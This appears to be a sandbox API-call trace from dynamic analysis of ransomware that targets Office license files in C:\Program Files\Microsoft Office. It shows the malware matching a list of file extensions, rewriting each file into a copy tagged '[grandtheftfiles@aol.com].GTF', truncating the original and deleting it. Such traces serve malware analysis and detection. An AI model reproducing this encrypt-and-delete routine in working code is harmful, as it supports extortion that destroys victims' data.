	[0169.316] lstrlenW (lpString=".xlsx") returned 5
	[0169.316] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0169.316] lstrlenW (lpString=".ppt") returned 4
	[0169.316] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0169.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75
	[0169.316] lstrlenW (lpString=".zip") returned 4
	[0169.316] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0169.316] lstrlenW (lpString=".rar") returned 4
	[0169.316] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0169.316] lstrlenW (lpString=".bz2") returned 4
	[0169.316] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0169.316] lstrlenW (lpString=".7z") returned 3
	[0169.316] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0169.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75
	[0169.316] lstrlenW (lpString=".dbf") returned 4
	[0169.316] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0169.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75
	[0169.316] lstrlenW (lpString=".1cd") returned 4
	[0169.316] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0169.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75
	[0169.316] lstrlenW (lpString=".jpg") returned 4
	[0169.316] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0169.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75
	[0169.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75
	[0169.316] lstrlenW (lpString=".doc") returned 4
	[0169.316] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0169.316] lstrlenW (lpString=".docx") returned 5
	[0169.316] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0169.316] lstrlenW (lpString=".pdf") returned 4
	[0169.316] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0169.316] lstrlenW (lpString=".xls") returned 4
	[0169.317] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0169.317] lstrlenW (lpString=".xlsx") returned 5
	[0169.317] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0169.317] lstrlenW (lpString=".ppt") returned 4
	[0169.317] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0169.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75
	[0169.317] lstrlenW (lpString=".zip") returned 4
	[0169.317] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0169.317] lstrlenW (lpString=".rar") returned 4
	[0169.317] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0169.317] lstrlenW (lpString=".bz2") returned 4
	[0169.317] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0169.317] lstrlenW (lpString=".7z") returned 3
	[0169.317] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0169.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75
	[0169.317] lstrlenW (lpString=".dbf") returned 4
	[0169.317] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0169.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75
	[0169.317] lstrlenW (lpString=".1cd") returned 4
	[0169.317] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0169.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75
	[0169.317] lstrlenW (lpString=".jpg") returned 4
	[0169.317] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0169.317] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0169.317] lstrlenW (lpString="ExcelR_OEM_Perp-ppd.xrm-ms") returned 26
	[0169.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0169.318] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=20846) returned 1
	[0169.318] CloseHandle (hObject=0x3dc) returned 1
	[0169.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms")) returned 0x220
	[0169.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0169.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0169.319] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.319] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0169.319] GetLastError () returned 0x0
	[0169.319] ReadFile (in: hFile=0x3dc, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x516e, lpOverlapped=0x0) returned 1
	[0169.324] WriteFile (in: hFile=0x564, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x5170, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x5170, lpOverlapped=0x0) returned 1
	[0169.325] ReadFile (in: hFile=0x3dc, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.325] WriteFile (in: hFile=0x564, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x108, lpOverlapped=0x0) returned 1
	[0169.325] SetEndOfFile (hFile=0x564) returned 1
	[0169.325] CloseHandle (hObject=0x564) returned 1
	[0169.325] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.325] SetEndOfFile (hFile=0x3dc) returned 1
	[0169.725] CloseHandle (hObject=0x3dc) returned 1
	[0169.725] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0169.726] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms")) returned 1
	[0169.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76
	[0169.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76
	[0169.727] lstrlenW (lpString=".doc") returned 4
	[0169.727] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0169.727] lstrlenW (lpString=".docx") returned 5
	[0169.727] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0169.727] lstrlenW (lpString=".pdf") returned 4
	[0169.727] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0169.727] lstrlenW (lpString=".xls") returned 4
	[0169.727] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0169.727] lstrlenW (lpString=".xlsx") returned 5
	[0169.727] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0169.727] lstrlenW (lpString=".ppt") returned 4
	[0169.727] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0169.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76
	[0169.727] lstrlenW (lpString=".zip") returned 4
	[0169.727] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0169.727] lstrlenW (lpString=".rar") returned 4
	[0169.727] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0169.727] lstrlenW (lpString=".bz2") returned 4
	[0169.727] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0169.727] lstrlenW (lpString=".7z") returned 3
	[0169.727] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0169.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76
	[0169.727] lstrlenW (lpString=".dbf") returned 4
	[0169.728] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0169.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76
	[0169.728] lstrlenW (lpString=".1cd") returned 4
	[0169.728] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0169.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76
	[0169.728] lstrlenW (lpString=".jpg") returned 4
	[0169.728] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0169.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76
	[0169.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76
	[0169.728] lstrlenW (lpString=".doc") returned 4
	[0169.728] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0169.728] lstrlenW (lpString=".docx") returned 5
	[0169.728] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0169.728] lstrlenW (lpString=".pdf") returned 4
	[0169.728] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0169.728] lstrlenW (lpString=".xls") returned 4
	[0169.728] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0169.728] lstrlenW (lpString=".xlsx") returned 5
	[0169.728] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0169.728] lstrlenW (lpString=".ppt") returned 4
	[0169.728] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0169.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76
	[0169.728] lstrlenW (lpString=".zip") returned 4
	[0169.728] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0169.728] lstrlenW (lpString=".rar") returned 4
	[0169.728] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0169.728] lstrlenW (lpString=".bz2") returned 4
	[0169.728] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0169.728] lstrlenW (lpString=".7z") returned 3
	[0169.728] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0169.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76
	[0169.728] lstrlenW (lpString=".dbf") returned 4
	[0169.728] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0169.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76
	[0169.729] lstrlenW (lpString=".1cd") returned 4
	[0169.729] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0169.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76
	[0169.729] lstrlenW (lpString=".jpg") returned 4
	[0169.729] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0169.729] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0169.729] lstrlenW (lpString="ExcelR_Retail-ul-oob.xrm-ms") returned 27
	[0169.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0169.730] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=11574) returned 1
	[0169.730] CloseHandle (hObject=0x3dc) returned 1
	[0169.730] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms")) returned 0x220
	[0169.730] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0169.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0169.731] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.731] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0169.732] GetLastError () returned 0x0
	[0169.732] ReadFile (in: hFile=0x3dc, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x2d36, lpOverlapped=0x0) returned 1
	[0170.085] WriteFile (in: hFile=0x52c, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2d40, lpOverlapped=0x0) returned 1
	[0170.090] ReadFile (in: hFile=0x3dc, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.091] WriteFile (in: hFile=0x52c, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x10a, lpOverlapped=0x0) returned 1
	[0170.091] SetEndOfFile (hFile=0x52c) returned 1
	[0170.091] CloseHandle (hObject=0x52c) returned 1
	[0170.094] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.094] SetEndOfFile (hFile=0x3dc) returned 1
	[0170.124] CloseHandle (hObject=0x3dc) returned 1
	[0170.125] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0170.195] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms")) returned 1
	[0170.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77
	[0170.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77
	[0170.221] lstrlenW (lpString=".doc") returned 4
	[0170.221] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0170.221] lstrlenW (lpString=".docx") returned 5
	[0170.221] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0170.221] lstrlenW (lpString=".pdf") returned 4
	[0170.221] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0170.221] lstrlenW (lpString=".xls") returned 4
	[0170.221] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0170.221] lstrlenW (lpString=".xlsx") returned 5
	[0170.221] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0170.221] lstrlenW (lpString=".ppt") returned 4
	[0170.221] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0170.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77
	[0170.221] lstrlenW (lpString=".zip") returned 4
	[0170.221] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0170.221] lstrlenW (lpString=".rar") returned 4
	[0170.221] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0170.221] lstrlenW (lpString=".bz2") returned 4
	[0170.221] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0170.221] lstrlenW (lpString=".7z") returned 3
	[0170.221] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0170.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77
	[0170.221] lstrlenW (lpString=".dbf") returned 4
	[0170.221] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0170.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77
	[0170.221] lstrlenW (lpString=".1cd") returned 4
	[0170.221] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0170.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77
	[0170.221] lstrlenW (lpString=".jpg") returned 4
	[0170.221] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0170.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77
	[0170.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77
	[0170.221] lstrlenW (lpString=".doc") returned 4
	[0170.221] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0170.221] lstrlenW (lpString=".docx") returned 5
	[0170.222] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0170.222] lstrlenW (lpString=".pdf") returned 4
	[0170.222] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0170.222] lstrlenW (lpString=".xls") returned 4
	[0170.222] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0170.222] lstrlenW (lpString=".xlsx") returned 5
	[0170.222] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0170.222] lstrlenW (lpString=".ppt") returned 4
	[0170.222] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0170.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77
	[0170.222] lstrlenW (lpString=".zip") returned 4
	[0170.222] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0170.222] lstrlenW (lpString=".rar") returned 4
	[0170.222] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0170.222] lstrlenW (lpString=".bz2") returned 4
	[0170.222] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0170.222] lstrlenW (lpString=".7z") returned 3
	[0170.222] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0170.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77
	[0170.222] lstrlenW (lpString=".dbf") returned 4
	[0170.222] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0170.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77
	[0170.222] lstrlenW (lpString=".1cd") returned 4
	[0170.222] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0170.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77
	[0170.222] lstrlenW (lpString=".jpg") returned 4
	[0170.222] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0170.222] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0170.222] lstrlenW (lpString="ExcelR_Trial-ppd.xrm-ms") returned 23
	[0170.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0170.223] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=20967) returned 1
	[0170.223] CloseHandle (hObject=0x45c) returned 1
	[0170.223] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms")) returned 0x220
	[0170.223] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0170.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0170.224] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.224] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0170.224] GetLastError () returned 0x0
	[0170.224] ReadFile (in: hFile=0x45c, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x51e7, lpOverlapped=0x0) returned 1
	[0170.297] WriteFile (in: hFile=0x504, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x51f0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x51f0, lpOverlapped=0x0) returned 1
	[0170.299] ReadFile (in: hFile=0x45c, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.299] WriteFile (in: hFile=0x504, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x102, lpOverlapped=0x0) returned 1
	[0170.299] SetEndOfFile (hFile=0x504) returned 1
	[0170.301] CloseHandle (hObject=0x504) returned 1
	[0170.304] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.304] SetEndOfFile (hFile=0x45c) returned 1
	[0170.402] CloseHandle (hObject=0x45c) returned 1
